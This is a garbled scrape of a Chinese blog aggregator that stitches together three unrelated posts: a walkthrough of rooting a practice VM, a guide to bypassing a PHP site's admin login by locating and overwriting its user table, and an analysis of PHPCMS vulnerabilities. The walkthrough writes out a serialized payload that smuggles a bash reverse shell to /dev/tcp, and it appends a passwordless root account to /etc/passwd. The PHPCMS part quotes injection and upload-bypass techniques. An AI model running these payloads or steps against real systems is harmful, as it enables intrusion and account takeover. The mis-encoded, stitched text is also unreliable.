b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!
查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束!
PHP網(wǎng)站后臺密碼繞過(guò)系列-查找后臺的數據庫表
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 47 次瀏覽 ? 2022-06-17 17:19
前言:上期給大家介紹了如何找到PHP網(wǎng)站后臺登錄驗證函數,今天繼續給大家分享后續步驟方法。
通過(guò)上期介紹我們可以找到網(wǎng)站的驗證函數,通過(guò)驗證函數我們可以找到密鑰的加密方式。
接下來(lái)就是進(jìn)數據庫直接替換,更改密碼,進(jìn)后臺了……美滋滋
可是,可是,可是,當打開(kāi)數據庫表時(shí)才發(fā)現——我是誰(shuí),我在哪,我要干啥……靈魂三問(wèn)?。?!
誰(shuí)能告訴我哪個(gè)才是后臺的用戶(hù)表??!
別急,這期告訴你一招簡(jiǎn)單的方法就能精準找到那個(gè)讓你魂牽夢(mèng)繞的user表。
我們的方法是:日志
MySQL的查詢(xún)日志記錄了所有MySQL數據庫請求的信息。MySQL配置文件中的參數general_log用來(lái)控制開(kāi)啟、關(guān)閉MySQL查詢(xún)日志;
在general_log開(kāi)啟狀態(tài)下, 網(wǎng)站頁(yè)面對數據庫做的所有操作都會(huì )被記錄下來(lái),就很容易知道操作的是哪個(gè)表。
接下來(lái)看看如何查看和打開(kāi)general_log;
進(jìn)入mysql,執行“show variables like '%general%'”命令可以查看日志當前狀態(tài),默認情況下日志處于關(guān)閉狀態(tài)。
這時(shí)候只需要再執行“set global general_log=on”命令就可開(kāi)啟查詢(xún)日志
?。ㄔ诿钕麻_(kāi)啟,只是臨時(shí)開(kāi)啟,重啟服務(wù)后就回到默認狀態(tài),不影響后續的使用)
下面我們以登錄網(wǎng)站后臺驗證下是否可以找到用戶(hù)表。
在網(wǎng)站后臺頁(yè)面賬號密碼框隨便輸入一個(gè)用戶(hù)名進(jìn)行測試。
然后回到MySQL日志所在路徑,訪(fǎng)問(wèn)general_log日志文件,搜索我們剛才輸入的用戶(hù)名就會(huì )發(fā)現網(wǎng)站所調用的表。
打開(kāi)表看看,確實(shí)是后臺用戶(hù)表
這時(shí)候就可以替換密鑰啦,注意有salt喲......
喜歡小知的話(huà)請不要忘了關(guān)注,點(diǎn)贊,轉發(fā)! 查看全部
PHP網(wǎng)站后臺密碼繞過(guò)系列-查找后臺的數據庫表
前言:上期給大家介紹了如何找到PHP網(wǎng)站后臺登錄驗證函數,今天繼續給大家分享后續步驟方法。
通過(guò)上期介紹我們可以找到網(wǎng)站的驗證函數,通過(guò)驗證函數我們可以找到密鑰的加密方式。
接下來(lái)就是進(jìn)數據庫直接替換,更改密碼,進(jìn)后臺了……美滋滋
可是,可是,可是,當打開(kāi)數據庫表時(shí)才發(fā)現——我是誰(shuí),我在哪,我要干啥……靈魂三問(wèn)?。?!
誰(shuí)能告訴我哪個(gè)才是后臺的用戶(hù)表??!
別急,這期告訴你一招簡(jiǎn)單的方法就能精準找到那個(gè)讓你魂牽夢(mèng)繞的user表。
我們的方法是:日志
MySQL的查詢(xún)日志記錄了所有MySQL數據庫請求的信息。MySQL配置文件中的參數general_log用來(lái)控制開(kāi)啟、關(guān)閉MySQL查詢(xún)日志;
在general_log開(kāi)啟狀態(tài)下, 網(wǎng)站頁(yè)面對數據庫做的所有操作都會(huì )被記錄下來(lái),就很容易知道操作的是哪個(gè)表。
接下來(lái)看看如何查看和打開(kāi)general_log;
進(jìn)入mysql,執行“show variables like '%general%'”命令可以查看日志當前狀態(tài),默認情況下日志處于關(guān)閉狀態(tài)。
這時(shí)候只需要再執行“set global general_log=on”命令就可開(kāi)啟查詢(xún)日志
?。ㄔ诿钕麻_(kāi)啟,只是臨時(shí)開(kāi)啟,重啟服務(wù)后就回到默認狀態(tài),不影響后續的使用)
下面我們以登錄網(wǎng)站后臺驗證下是否可以找到用戶(hù)表。
在網(wǎng)站后臺頁(yè)面賬號密碼框隨便輸入一個(gè)用戶(hù)名進(jìn)行測試。
然后回到MySQL日志所在路徑,訪(fǎng)問(wèn)general_log日志文件,搜索我們剛才輸入的用戶(hù)名就會(huì )發(fā)現網(wǎng)站所調用的表。
打開(kāi)表看看,確實(shí)是后臺用戶(hù)表
這時(shí)候就可以替換密鑰啦,注意有salt喲......
喜歡小知的話(huà)請不要忘了關(guān)注,點(diǎn)贊,轉發(fā)!
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 79 次瀏覽 ? 2022-06-14 13:43
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
